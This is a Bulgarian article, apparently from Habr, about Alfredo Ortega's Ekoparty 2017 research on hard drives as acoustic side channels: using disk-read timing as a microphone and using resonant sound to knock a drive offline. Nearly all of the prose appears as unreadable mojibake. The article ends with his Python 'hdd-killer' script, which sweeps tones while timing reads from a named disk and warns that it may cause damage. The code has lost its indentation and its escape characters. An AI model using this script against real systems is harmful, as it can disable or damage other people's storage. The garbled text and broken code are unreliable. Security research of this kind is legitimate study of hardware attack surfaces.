ΠΠ° ΠΊΠΎΠ½ΡΠ΅ΡΠ΅Π½ΡΠΈΡΡΠ° Π·Π° ΠΊΠΎΠΌΠΏΡΡΡΡΠ½Π° ΡΠΈΠ³ΡΡΠ½ΠΎΡΡ Ekoparty 2017 Π² ΠΡΠ΅Π½ΠΎΡ ΠΠΉΡΠ΅Ρ Π°ΡΠΆΠ΅Π½ΡΠΈΠ½ΡΠΊΠΈΡΡ Ρ
Π°ΠΊΠ΅Ρ ΠΠ»ΡΡΠ΅Π΄ΠΎ ΠΡΡΠ΅Π³Π° ΠΏΠΎΠΊΠ°Π·Π° ΠΌΠ½ΠΎΠ³ΠΎ ΠΈΠ½ΡΠ΅ΡΠ΅ΡΠ½Π° ΡΠ°Π·ΡΠ°Π±ΠΎΡΠΊΠ° β ΡΠΈΡΡΠ΅ΠΌΠ° Π·Π° ΡΠΊΡΠΈΡΠΎ ΠΏΠΎΠ΄ΡΠ»ΡΡΠ²Π°Π½Π΅ Π½Π° ΠΏΠΎΠΌΠ΅ΡΠ΅Π½ΠΈΡ Π±Π΅Π· ΠΈΠ·ΠΏΠΎΠ»Π·Π²Π°Π½Π΅ Π½Π° ΠΌΠΈΠΊΡΠΎΡΠΎΠ½. ΠΠ²ΡΠΊ
HDD ΡΠ»Π°Π²Ρ ΠΎΡΠ½ΠΎΠ²Π½ΠΎ Π²ΠΈΡΠΎΠΊΠΎΠΈΠ½ΡΠ΅Π½Π·ΠΈΠ²Π½ΠΈ Π½ΠΈΡΠΊΠΎΡΠ΅ΡΡΠΎΡΠ½ΠΈ Π·Π²ΡΡΠΈ, ΡΡΡΠΏΠΊΠΈ ΠΈ Π΄ΡΡΠ³ΠΈ Π²ΠΈΠ±ΡΠ°ΡΠΈΠΈ. Π§ΠΎΠ²Π΅ΡΠΊΠ°ΡΠ° ΡΠ΅Ρ Π²ΡΠ΅ ΠΎΡΠ΅ Π½Π΅ ΠΌΠΎΠΆΠ΅ Π΄Π° Π±ΡΠ΄Π΅ ΡΠ°Π·ΠΏΠΎΠ·Π½Π°ΡΠ°, Π²ΡΠΏΡΠ΅ΠΊΠΈ ΡΠ΅ ΡΡΠ΅Π½ΠΈΡΠ΅
ΠΠ²ΡΠΊΡΡ Π΅ Π²ΠΈΠ±ΡΠ°ΡΠΈΡΡΠ° Π½Π° Π²ΡΠ·Π΄ΡΡ
Π° ΠΈΠ»ΠΈ Π΄ΡΡΠ³Π° ΡΡΠ΅Π΄Π°. Π§ΠΎΠ²Π΅ΠΊ Π³ΠΈ Π²ΡΠ·ΠΏΡΠΈΠ΅ΠΌΠ° ΡΡΠ΅Π· ΡΡΠΏΠ°Π½ΡΠ΅ΡΠΎ, ΠΊΠΎΠ΅ΡΠΎ ΠΏΡΠ΅Π΄Π°Π²Π° Π²ΠΈΠ±ΡΠ°ΡΠΈΠΈΡΠ΅ Π½Π° Π²ΡΡΡΠ΅ΡΠ½ΠΎΡΠΎ ΡΡ
ΠΎ. ΠΠΈΠΊΡΠΎΡΠΎΠ½ΡΡ Π΅ ΠΏΡΠΎΠ΅ΠΊΡΠΈΡΠ°Π½ ΠΏΡΠΈΠ±Π»ΠΈΠ·ΠΈΡΠ΅Π»Π½ΠΎ ΠΊΠ°ΡΠΎ ΡΡ
ΠΎ - ΡΡΠΊ ΡΡΡΠΎ Π²ΠΈΠ±ΡΠ°ΡΠΈΠΈΡΠ΅ ΡΠ΅ Π·Π°ΠΏΠΈΡΠ²Π°Ρ ΠΎΡ ΡΡΠ½ΠΊΠ° ΠΌΠ΅ΠΌΠ±ΡΠ°Π½Π°, ΠΊΠΎΡΡΠΎ Π²ΡΠ·Π±ΡΠΆΠ΄Π° Π΅Π»Π΅ΠΊΡΡΠΈΡΠ΅ΡΠΊΠΈ ΠΈΠΌΠΏΡΠ»Ρ. Π’Π²ΡΡΠ΄ΠΈΡΡ Π΄ΠΈΡΠΊ, ΡΠ°Π·Π±ΠΈΡΠ° ΡΠ΅, ΡΡΡΠΎ Π΅ ΠΎΠ±Π΅ΠΊΡ Π½Π° ΠΌΠΈΠΊΡΠΎΡΠΊΠΎΠΏΠΈΡΠ½ΠΈ Π²ΠΈΠ±ΡΠ°ΡΠΈΠΈ, Π΄ΡΠ»ΠΆΠ°ΡΠΈ ΡΠ΅ Π½Π° ΠΊΠΎΠ»Π΅Π±Π°Π½ΠΈΡΡΠ° Π² ΠΎΠΊΠΎΠ»Π½ΠΈΡ Π²ΡΠ·Π΄ΡΡ
. Π’ΠΎΠ²Π° Π΅ ΠΈΠ·Π²Π΅ΡΡΠ½ΠΎ Π΄ΠΎΡΠΈ ΠΎΡ ΡΠ΅Ρ
Π½ΠΈΡΠ΅ΡΠΊΠΈΡΠ΅ Ρ
Π°ΡΠ°ΠΊΡΠ΅ΡΠΈΡΡΠΈΠΊΠΈ Π½Π° ΡΠ²ΡΡΠ΄ΠΈΡΠ΅ Π΄ΠΈΡΠΊΠΎΠ²Π΅: ΠΏΡΠΎΠΈΠ·Π²ΠΎΠ΄ΠΈΡΠ΅Π»ΠΈΡΠ΅ ΠΎΠ±ΠΈΠΊΠ½ΠΎΠ²Π΅Π½ΠΎ ΠΏΠΎΡΠΎΡΠ²Π°Ρ ΠΌΠ°ΠΊΡΠΈΠΌΠ°Π»Π½ΠΎ Π΄ΠΎΠΏΡΡΡΠΈΠΌΠΎΡΠΎ Π½ΠΈΠ²ΠΎ Π½Π° Π²ΠΈΠ±ΡΠ°ΡΠΈΠΈ, Π° ΡΠ°ΠΌΠΈΡΡ ΡΠ²ΡΡΠ΄ Π΄ΠΈΡΠΊ ΡΠ΅ΡΡΠΎ ΡΠ΅ ΠΎΠΏΠΈΡΠ²Π° Π΄Π° Π³ΠΎ ΠΏΠΎΡΡΠ°Π²ΠΈ Π² ΡΡΡΠΎΠΉΡΠΈΠ² Π½Π° Π²ΠΈΠ±ΡΠ°ΡΠΈΠΈ ΠΊΠΎΠ½ΡΠ΅ΠΉΠ½Π΅Ρ, ΠΈΠ·ΡΠ°Π±ΠΎΡΠ΅Π½ ΠΎΡ Π³ΡΠΌΠ° ΠΈΠ»ΠΈ Π΄ΡΡΠ³ ΠΈΠ·ΠΎΠ»Π°ΡΠΈΠΎΠ½Π΅Π½ ΠΌΠ°ΡΠ΅ΡΠΈΠ°Π». ΠΡ ΡΠΎΠ²Π° Π΅ Π»Π΅ΡΠ½ΠΎ Π΄Π° ΡΠ΅ Π·Π°ΠΊΠ»ΡΡΠΈ, ΡΠ΅ Π·Π²ΡΡΠΈΡΠ΅ ΠΌΠΎΠ³Π°Ρ Π΄Π° ΡΠ΅ Π·Π°ΠΏΠΈΡΠ²Π°Ρ Ρ ΠΏΠΎΠΌΠΎΡΡΠ° Π½Π° HDD. ΠΡΡΠ°Π²Π° ΡΠ°ΠΌΠΎ Π΄Π° ΡΠ°Π·Π±Π΅ΡΠ΅ΠΌ ΠΊΠ°ΠΊ.
ΠΠ»ΡΡΠ΅Π΄ΠΎ ΠΡΡΠ΅Π³Π° ΠΏΡΠ΅Π΄Π»ΠΎΠΆΠΈ ΡΠ½ΠΈΠΊΠ°Π»Π½Π° Π²Π΅ΡΡΠΈΡ Π½Π° Π°ΡΠ°ΠΊΠ° ΠΎΡ ΡΡΡΠ°Π½ΠΈΡΠ΅Π½ ΠΊΠ°Π½Π°Π», Π° ΠΈΠΌΠ΅Π½Π½ΠΎ Π°ΡΠ°ΠΊΠ° Π²ΡΠ² Π²ΡΠ΅ΠΌΠ΅ΡΠΎ. Π’Π°Π·ΠΈ Π°ΡΠ°ΠΊΠ° ΡΠ΅ ΠΎΡΠ½ΠΎΠ²Π°Π²Π° Π½Π° ΠΏΡΠ΅Π΄ΠΏΠΎΠ»ΠΎΠΆΠ΅Π½ΠΈΠ΅ΡΠΎ, ΡΠ΅ ΡΠ°Π·Π»ΠΈΡΠ½ΠΈ ΠΎΠΏΠ΅ΡΠ°ΡΠΈΠΈ ΡΠ΅ ΠΈΠ·Π²ΡΡΡΠ²Π°Ρ Π½Π° ΡΡΡΡΠΎΠΉΡΡΠ²ΠΎΡΠΎ ΠΏΠΎ ΡΠ°Π·Π»ΠΈΡΠ½ΠΎ Π²ΡΠ΅ΠΌΠ΅, Π² Π·Π°Π²ΠΈΡΠΈΠΌΠΎΡΡ ΠΎΡ Π΄Π°Π΄Π΅Π½ΠΈΡΠ΅ Π²Ρ ΠΎΠ΄Π½ΠΈ Π΄Π°Π½Π½ΠΈ. Π ΡΠΎΠ·ΠΈ ΡΠ»ΡΡΠ°ΠΉ βΠ²Ρ ΠΎΠ΄Π½ΠΈΡΠ΅ Π΄Π°Π½Π½ΠΈβ ΡΠ° Π²ΠΈΠ±ΡΠ°ΡΠΈΠΈΡΠ΅ Π½Π° ΡΠ΅ΡΡΡΠ°ΡΠ° Π³Π»Π°Π²Π° ΠΈ ΠΏΠ»ΠΎΡΠ°ΡΠ° Π½Π° HDD, ΠΊΠΎΠΈΡΠΎ ΠΊΠΎΡΠ΅Π»ΠΈΡΠ°Ρ Ρ Π²ΠΈΠ±ΡΠ°ΡΠΈΠΈΡΠ΅ Π½Π° ΠΎΠΊΠΎΠ»Π½Π°ΡΠ° ΡΡΠ΅Π΄Π°, ΡΠΎΠ΅ΡΡ ΡΡΡ Π·Π²ΡΠΊΠ°. ΠΠΎ ΡΠΎΠ·ΠΈ Π½Π°ΡΠΈΠ½, ΡΡΠ΅Π· ΠΈΠ·ΠΌΠ΅ΡΠ²Π°Π½Π΅ Π½Π° Π²ΡΠ΅ΠΌΠ΅ΡΠΎ Π·Π° ΠΈΠ·ΡΠΈΡΠ»Π΅Π½ΠΈΠ΅ ΠΈ ΠΈΠ·Π²ΡΡΡΠ²Π°Π½Π΅ Π½Π° ΡΡΠ°ΡΠΈΡΡΠΈΡΠ΅ΡΠΊΠΈ Π°Π½Π°Π»ΠΈΠ· Π½Π° Π΄Π°Π½Π½ΠΈΡΠ΅, ΠΌΠΎΠ³Π°Ρ Π΄Π° Π±ΡΠ΄Π°Ρ ΠΈΠ·ΠΌΠ΅ΡΠ΅Π½ΠΈ Π²ΠΈΠ±ΡΠ°ΡΠΈΠΈΡΠ΅ Π½Π° Π³Π»Π°Π²Π°ΡΠ°/ΠΏΠ»ΠΎΡΠ°ΡΠ° ΠΈ ΡΠ»Π΅Π΄ΠΎΠ²Π°ΡΠ΅Π»Π½ΠΎ Π²ΠΈΠ±ΡΠ°ΡΠΈΠΈΡΠ΅ Π½Π° ΡΡΠ΅Π΄Π°ΡΠ°. ΠΠΎΠ»ΠΊΠΎΡΠΎ ΠΏΠΎ-Π΄ΡΠ»Π³ΠΎ Π΅ Π·Π°Π±Π°Π²ΡΠ½Π΅ΡΠΎ ΠΏΡΠΈ ΡΠ΅ΡΠ΅Π½Π΅ Π½Π° Π΄Π°Π½Π½ΠΈ, ΡΠΎΠ»ΠΊΠΎΠ²Π° ΠΏΠΎ-ΡΠΈΠ»Π½ΠΈ ΡΠ° Π²ΠΈΠ±ΡΠ°ΡΠΈΠΈΡΠ΅ Π½Π° ΡΠ²ΡΡΠ΄ΠΈΡ Π΄ΠΈΡΠΊ ΠΈ ΡΠ»Π΅Π΄ΠΎΠ²Π°ΡΠ΅Π»Π½ΠΎ Π·Π²ΡΠΊΡΡ Π΅ ΠΏΠΎ-ΡΠΈΠ»Π΅Π½.
ΠΠ°ΠΊ Π΄Π° ΠΈΠ·ΠΌΠ΅ΡΠΈΠΌ Π²ΠΈΠ±ΡΠ°ΡΠΈΠΈΡΠ΅ Π½Π° ΡΠ²ΡΡΠ΄ΠΈΡ Π΄ΠΈΡΠΊ? ΠΠ½ΠΎΠ³ΠΎ ΠΏΡΠΎΡΡΠΎ: ΠΏΡΠΎΡΡΠΎ ΡΡΠ°ΡΡΠΈΡΠ°ΠΉΡΠ΅ ΡΠΈΡΡΠ΅ΠΌΠ½ΠΎΡΠΎ ΠΏΠΎΠ²ΠΈΠΊΠ²Π°Π½Π΅ read ()
β ΠΈ Π·Π°ΠΏΠΈΡΠ΅ΡΠ΅ Π²ΡΠ΅ΠΌΠ΅ΡΠΎ, Π½Π΅ΠΎΠ±Ρ
ΠΎΠ΄ΠΈΠΌΠΎ Π·Π° Π·Π°Π²ΡΡΡΠ²Π°Π½Π΅. Π‘ΡΠ²ΡΠ΅ΠΌΠ΅Π½Π½ΠΈΡΠ΅ ΠΎΠΏΠ΅ΡΠ°ΡΠΈΠΎΠ½Π½ΠΈ ΡΠΈΡΡΠ΅ΠΌΠΈ Π²ΠΈ ΠΏΠΎΠ·Π²ΠΎΠ»ΡΠ²Π°Ρ Π΄Π° ΡΠ΅ΡΠ΅ΡΠ΅ Π²ΡΠ΅ΠΌΠ΅ΡΠΎ Π½Π° ΡΠΈΡΡΠ΅ΠΌΠ½ΠΈΡΠ΅ ΠΏΠΎΠ²ΠΈΠΊΠ²Π°Π½ΠΈΡ Ρ Π½Π°Π½ΠΎΡΠ΅ΠΊΡΠ½Π΄Π° ΡΠΎΡΠ½ΠΎΡΡ.
Π‘ΠΊΠΎΡΠΎΡΡΡΠ° Π½Π° ΡΠ΅ΡΠ΅Π½Π΅ Π½Π° ΠΈΠ½ΡΠΎΡΠΌΠ°ΡΠΈΡ ΠΎΡ ΡΠ΅ΠΊΡΠΎΡ Π·Π°Π²ΠΈΡΠΈ ΠΎΡ ΠΏΠΎΠ·ΠΈΡΠΈΡΡΠ° Π½Π° Π³Π»Π°Π²Π°ΡΠ° ΠΈ ΠΏΠ»ΠΎΡΠ°ΡΠ°, ΠΊΠΎΠ΅ΡΠΎ ΠΊΠΎΡΠ΅Π»ΠΈΡΠ° Ρ Π²ΠΈΠ±ΡΠ°ΡΠΈΠΈΡΠ΅ Π½Π° ΠΊΠΎΡΠΏΡΡΠ° Π½Π° HDD. Π’ΠΎΠ²Π° Π΅ Π²ΡΠΈΡΠΊΠΎ.
Π‘ΡΠ°ΡΠΈΡΡΠΈΡΠ΅ΡΠΊΠΈΡΡ Π°Π½Π°Π»ΠΈΠ· ΡΠ΅ ΠΈΠ·Π²ΡΡΡΠ²Π° Ρ ΠΏΠΎΠΌΠΎΡΡΠ° Π½Π° ΠΏΡΠΎΡΡΠ° ΠΏΠΎΠΌΠΎΡΠ½Π° ΠΏΡΠΎΠ³ΡΠ°ΠΌΠ° Kscope. ΠΠ°ΠΊΡΠΎ ΡΠ΅ ΠΊΠ°Π·Π²Π°, Π²ΡΠΈΡΠΊΠΎ Π³Π΅Π½ΠΈΠ°Π»Π½ΠΎ Π΅ ΠΏΡΠΎΡΡΠΎ.
ΠΠΎΠΌΠΎΡΠ½Π° ΠΏΡΠΎΠ³ΡΠ°ΠΌΠ° Kscope (ΡΠΈΡΡΠ΅ΠΌΠ½ΠΎ ΠΏΠΎΠ²ΠΈΠΊΠ²Π°Π½Π΅ stat())
Kscope Π΅ ΠΌΠ°Π»ΠΊΠ° ΠΏΠΎΠΌΠΎΡΠ½Π° ΠΏΡΠΎΠ³ΡΠ°ΠΌΠ° Π·Π° Π²ΠΈΠ·ΡΠ°Π»ΠΈΠ·ΠΈΡΠ°Π½Π΅ Π½Π° ΠΌΠ°Π»ΠΊΠΈ ΡΠ°Π·Π»ΠΈΠΊΠΈ Π²ΡΠ² Π²ΡΠ΅ΠΌΠ΅ΡΠΎ Π·Π° ΠΈΠ·ΠΏΡΠ»Π½Π΅Π½ΠΈΠ΅ Π½Π° ΡΠΈΡΡΠ΅ΠΌΠ½ΠΈ ΠΏΠΎΠ²ΠΈΠΊΠ²Π°Π½ΠΈΡ. ΠΠ·ΡΠΎΡΠ½ΠΈΠΊ
Π ΠΎΡΠ΄Π΅Π»Π½ΠΎ Ρ
ΡΠ°Π½ΠΈΠ»ΠΈΡΠ΅ read ()
.
ΠΠ΅ΠΌΠΎΠ½ΡΡΡΠ°ΡΠΈΡ Π½Π° Π·Π°ΠΏΠΈΡ Π½Π° Π·Π²ΡΠΊ Ρ ΠΏΠΎΠΌΠΎΡΡΠ° Π½Π° HDD, ΡΠ°Π±ΠΎΡΠ° Π½Π° ΠΏΠΎΠΌΠΎΡΠ½Π°ΡΠ° ΠΏΡΠΎΠ³ΡΠ°ΠΌΠ° Kscope
Π Π°Π·Π±ΠΈΡΠ° ΡΠ΅, ΡΠ΅ΡΡΠ° Π½Π΅ ΠΌΠΎΠΆΠ΅ Π΄Π° Π±ΡΠ΄Π΅ ΡΠ°Π·Π±ΡΠ°Π½Π° ΠΏΠΎ ΡΠΎΠ·ΠΈ Π½Π°ΡΠΈΠ½, Π½ΠΎ HDD Π΅ Π΄ΠΎΡΡΠ° ΠΏΠΎΠ΄Ρ ΠΎΠ΄ΡΡ ΠΊΠ°ΡΠΎ ΡΠ΅Π½Π·ΠΎΡ Π·Π° Π²ΠΈΠ±ΡΠ°ΡΠΈΠΈ. ΠΠ°ΠΏΡΠΈΠΌΠ΅Ρ, ΠΌΠΎΠΆΠ΅ΡΠ΅ Π΄Π° ΡΠ΅Π³ΠΈΡΡΡΠΈΡΠ°ΡΠ΅, Π°ΠΊΠΎ ΡΠΎΠ²Π΅ΠΊ Ρ ΡΠ²ΡΡΠ΄ΠΈ ΠΎΠ±ΡΠ²ΠΊΠΈ ΠΈΠ»ΠΈ Π±ΠΎΡ Π²Π»Π΅Π·Π΅ Π² ΡΡΠ°Ρ Ρ ΠΊΠΎΠΌΠΏΡΡΡΡ (Π²Π΅ΡΠΎΡΡΠ½ΠΎ, Π°ΠΊΠΎ Π½Π°ΠΏΠ°Π΄Π°ΡΠ΅Π»ΡΡ Π½ΠΎΡΠΈ ΠΌΠ΅ΠΊΠΈ ΠΌΠ°ΡΠ°ΡΠΎΠ½ΠΊΠΈ ΠΈΠ»ΠΈ ΠΈΠΌΠ° Π΄Π΅Π±Π΅Π» ΠΊΠΈΠ»ΠΈΠΌ Π½Π° ΠΏΠΎΠ΄Π°, HDD Π½ΡΠΌΠ° Π΄Π° ΠΌΠΎΠΆΠ΅ Π΄Π° ΡΠ΅Π³ΠΈΡΡΡΠΈΡΠ° Π²ΠΈΠ±ΡΠ°ΡΠΈΠΈ - ΡΠΎΠ²Π° ΡΠΈ ΡΡΡΡΠ²Π° Π΄Π° ΡΠ΅ ΠΏΡΠΎΠ²Π΅ΡΠΈ). ΠΠΎΠΌΠΏΡΡΡΡΡΡ ΠΌΠΎΠΆΠ΅ Π΄Π° ΡΠ΅Π³ΠΈΡΡΡΠΈΡΠ° ΡΡΡΠΏΠ΅Π½ΠΎ ΡΡΡΠΊΠ»ΠΎ ΠΈΠ»ΠΈ Π΄ΡΡΠ³ΠΈ ΠΈΠ½ΡΠΈΠ΄Π΅Π½ΡΠΈ ΡΡΡ ΡΠΈΠ»Π΅Π½ ΠΈΠ½ΡΠ΅Π½Π·ΠΈΡΠ΅Ρ Π½Π° Π·Π²ΡΠΊΠ°. Π’ΠΎΠ΅ΡΡ ΡΠ²ΡΡΠ΄ΠΈΡΡ Π΄ΠΈΡΠΊ ΠΌΠΎΠΆΠ΅ Π΄Π° ΡΠ»ΡΠΆΠΈ ΠΊΠ°ΡΠΎ Π²ΠΈΠ΄ ΡΠΈΡΡΠ΅ΠΌΠ° Π·Π° ΠΎΡΠΊΡΠΈΠ²Π°Π½Π΅ Π½Π° Π½Π΅ΠΎΡΠΎΡΠΈΠ·ΠΈΡΠ°Π½ΠΎ ΠΏΡΠΎΠ½ΠΈΠΊΠ²Π°Π½Π΅.
HDD ΡΠ±ΠΈΠ΅Ρ
ΠΠ΅ΠΆΠ΄Ρ Π΄ΡΡΠ³ΠΎΡΠΎ, ΠΏΠΎΠ΄ΠΎΠ±Π½Π° ΡΠ΅Ρ Π½ΠΈΠΊΠ° ΠΌΠΎΠΆΠ΅ Π΄Π° ΡΠ΅ ΠΈΠ·ΠΏΠΎΠ»Π·Π²Π° Π·Π° Π΄Π΅Π°ΠΊΡΠΈΠ²ΠΈΡΠ°Π½Π΅ Π½Π° ΡΠ²ΡΡΠ΄ΠΈ Π΄ΠΈΡΠΊΠΎΠ²Π΅. Π‘Π°ΠΌΠΎ ΡΡΠΊ Π½ΠΈΠ΅ Π½Π΅ ΠΏΡΠ΅ΠΌΠ°Ρ Π²Π°ΠΌΠ΅ ΡΡΠ΅ΠΏΡΠ΅Π½ΠΈΡΡΠ° ΠΎΡ HDD, Π° Π½Π°ΠΏΡΠΎΡΠΈΠ², Π³Π΅Π½Π΅ΡΠΈΡΠ°ΠΌΠ΅ ΡΡΠ΅ΠΏΡΠ΅Π½ΠΈΡ, ΠΊΠΎΠΈΡΠΎ ΡΠ΅ ΠΏΠΎΠ΄Π°Π²Π°Ρ ΠΊΡΠΌ HDD. ΠΠΊΠΎ Π²ΡΠ·ΠΏΡΠΎΠΈΠ·Π²Π΅ΠΆΠ΄Π°ΡΠ΅ Π·Π²ΡΠΊ ΠΎΡ Π²ΠΈΡΠΎΠΊΠΎΠ³ΠΎΠ²ΠΎΡΠΈΡΠ΅Π» Π½Π° ΡΠ΅ΡΡΠΎΡΠ°, ΠΊΠΎΡΡΠΎ ΡΠ΅Π·ΠΎΠ½ΠΈΡΠ° Ρ ΡΠ΅ΡΡΠΎΡΠ°ΡΠ° Π½Π° HDD, ΡΠΈΡΡΠ΅ΠΌΠ°ΡΠ° ΡΠΊΠΎΡΠΎ ΠΈΠ·ΠΊΠ»ΡΡΠ²Π° ΡΡΡΡΠΎΠΉΡΡΠ²ΠΎΡΠΎ Ρ I/O Π³ΡΠ΅ΡΠΊΠ° (ΡΠ΄ΡΠΎΡΠΎ Π½Π° Linux Π½Π°ΠΏΡΠ»Π½ΠΎ ΠΈΠ·ΠΊΠ»ΡΡΠ²Π° HDD ΡΠ»Π΅Π΄ 120 ΡΠ΅ΠΊΡΠ½Π΄ΠΈ). Π‘Π°ΠΌΠΈΡΡ ΡΠ²ΡΡΠ΄ Π΄ΠΈΡΠΊ ΠΌΠΎΠΆΠ΅ Π΄Π° ΠΏΡΠ΅ΡΡΡΠΏΠΈ Π½Π΅ΠΎΠ±ΡΠ°ΡΠΈΠΌΠ° ΠΏΠΎΠ²ΡΠ΅Π΄Π°.
Π―Π΄ΡΠΎΡΠΎ Π½Π° Linux ΠΈΠ·ΠΊΠ»ΡΡΠΈ ΡΠ²ΡΡΠ΄ΠΈΡ Π΄ΠΈΡΠΊ ΡΠ»Π΅Π΄ 120 ΡΠ΅ΠΊΡΠ½Π΄ΠΈ ΠΏΠΎΠ΄Π°Π²Π°Π½Π΅ Π½Π° Π·Π²ΡΠΊ Ρ ΡΠ΅Π·ΠΎΠ½Π°Π½ΡΠ½Π° ΡΠ΅ΡΡΠΎΡΠ° ΠΏΡΠ΅Π· Π²ΠΈΡΠΎΠΊΠΎΠ³ΠΎΠ²ΠΎΡΠΈΡΠ΅Π»Ρ Π½Π° USB Π²ΠΈΡΠΎΠΊΠΎΠ³ΠΎΠ²ΠΎΡΠΈΡΠ΅Π»Ρ Edifier r19u. ΠΠΈΡΠΎΠΊΠΎΠ³ΠΎΠ²ΠΎΡΠΈΡΠ΅Π»ΡΡ Π΅ Π²ΠΊΠ»ΡΡΠ΅Π½ Π½Π° ΠΎΠΊΠΎΠ»ΠΎ Π΅Π΄Π½Π° ΡΠ΅ΡΠ²ΡΡΡ ΠΎΡ ΠΌΠΎΡΠ½ΠΎΡΡΡΠ° (ΠΏΠΎΠ΄ 100 mW) ΠΈ Π΅ ΡΠ°Π·ΠΏΠΎΠ»ΠΎΠΆΠ΅Π½ Π½Π° 20 ΡΠΌ ΠΎΡ HDD, Π½Π°ΡΠΎΡΠ΅Π½ ΠΊΡΠΌ ΠΌΠ°ΡΠ°ΡΠ° Π·Π° Π·Π°ΡΠΈΠ»Π²Π°Π½Π΅ Π½Π° Π²ΠΈΠ±ΡΠ°ΡΠΈΠΈΡΠ΅. Π Π°ΠΌΠΊΠ° ΠΎΡ
ΠΡΠ±ΠΎΠΏΠΈΡΠ½ΠΎ Π΅, ΡΠ΅ ΠΏΠΎΠ΄ΠΎΠ±Π½ΠΈ βΠ°ΡΠ°ΠΊΠΈβ ΡΡΠ΅ΡΡ HDD ΠΏΠΎΠ½ΡΠΊΠΎΠ³Π° ΡΠ΅ ΡΠ»ΡΡΠ²Π°Ρ Π½Π°ΠΏΡΠ»Π½ΠΎ ΡΠ»ΡΡΠ°ΠΉΠ½ΠΎ Π² Π΅ΠΆΠ΅Π΄Π½Π΅Π²ΠΈΠ΅ΡΠΎ. ΠΠ°ΠΏΡΠΈΠΌΠ΅Ρ ΠΏΡΠ΅Π· ΡΠ΅ΠΏΡΠ΅ΠΌΠ²ΡΠΈ 2016 Π³. ΡΠ΅Π½ΡΡΡΡΡ Π·Π° Π΄Π°Π½Π½ΠΈ Π½Π° ING Bank Π±Π΅ΡΠ΅ ΠΏΡΠΈΠ½ΡΠ΄Π΅Π½ Π΄Π° ΡΠΏΡΠ΅ Π΄Π΅ΠΉΠ½ΠΎΡΡΡΠ° ΡΠΈ Π·Π° 10 ΡΠ°ΡΠ° ΡΠ»Π΅Π΄ ΠΏΡΠΎΡΠΈΠ²ΠΎΠΏΠΎΠΆΠ°ΡΠ½ΠΎ ΡΡΠ΅Π½ΠΈΠ΅.
ΠΠ΅ΠΌΠΎΠ½ΡΡΡΠ°ΡΠΈΡ Π½Π° ΡΠΎΠ²Π΅ΡΠΊΠΈ ΠΏΠΈΡΡΡΠΈ Π½Π° ΡΠ²ΡΡΠ΄ΠΈ Π΄ΠΈΡΠΊΠΎΠ²Π΅ Π² ΡΠ΅Π½ΡΡΡ Π·Π° Π΄Π°Π½Π½ΠΈ. ΠΠ·ΠΌΠ΅ΡΠ²Π°Π½Π΅ Π½Π° Π»Π°ΡΠ΅Π½ΡΠ½ΠΎΡΡ
ΠΠ° Π΄Π° Π³Π΅Π½Π΅ΡΠΈΡΠ° ΡΠ΅Π·ΠΎΠ½ΠΈΡΠ°ΡΠΈΡ Π·Π²ΡΠΊ, ΠΠ»ΡΡΠ΅Π΄ΠΎ ΠΡΡΠ΅Π³Π° Π½Π°ΠΏΠΈΡΠ° ΡΠΊΡΠΈΠΏΡ Π½Π° Python, Π½Π°ΡΠ΅ΡΠ΅Π½
"""PyAudio hdd-killer: Generate sound and interfere with HDD """
"""Alfredo Ortega @ortegaalfredo"""
"""Usage: hdd-killer /dev/sdX"""
"""Where /dev/sdX is a spinning hard-disk drive"""
"""Turn the volume to the max for better results"""
"""Requires: pyaudio. Install with 'sudo pip install pyaudio' or 'sudo apt-get install python-pyaudio'"""
import pyaudio
import time
import sys
import math
import random
RATE=48000
FREQ=50
# validation. If a disk hasn't been specified, exit.
if len(sys.argv) < 2:
print "hdd-killer: Attempt to interfere with a hard disk, using sound.nn" +
"The disk will be opened as read-only.n" +
"Warning: It might cause damage to HDD.n" +
"Usage: %s /dev/sdX" % sys.argv[0]
sys.exit(-1)
# instantiate PyAudio (1)
p = pyaudio.PyAudio()
x1=0
NEWFREQ=FREQ
# define audio synt callback (2)
def callback(in_data, frame_count, time_info, status):
global x1,FREQ,NEWFREQ
data=''
sample=0
for x in xrange(frame_count):
oldsample=sample
sample=chr(int(math.sin(x1*((2*math.pi)/(RATE/FREQ)))*127)+128)
data = data+sample
# continous frequency change
if (NEWFREQ!=FREQ) and (sample==chr(128)) and (oldsample<sample) :
FREQ=NEWFREQ
x1=0
x1+=1
return (data, pyaudio.paContinue)
# open stream using callback (3)
stream = p.open(format=pyaudio.paUInt8,
channels=1,
rate=RATE,
output=True,
stream_callback=callback)
# start the stream (4)
stream.start_stream()
# wait for stream to finish (5)
while stream.is_active():
timeprom=0
c=file(sys.argv[1])
for i in xrange(20):
a=time.clock()
c.seek(random.randint(0,1000000000),1) #attempt to bypass file buffer
c.read(51200)
b=time.clock()
timeprom+=b-a
c.close()
timeprom/=20
print("Frequency: %.2f Hz File Read prom: %f us" % (FREQ,timeprom*1000000))
NEWFREQ+=0.5
# stop stream (6)
stream.stop_stream()
stream.close()
# close PyAudio (7)
p.terminate()
ΠΠ·ΡΠΎΡΠ½ΠΈΠΊ: www.habr.com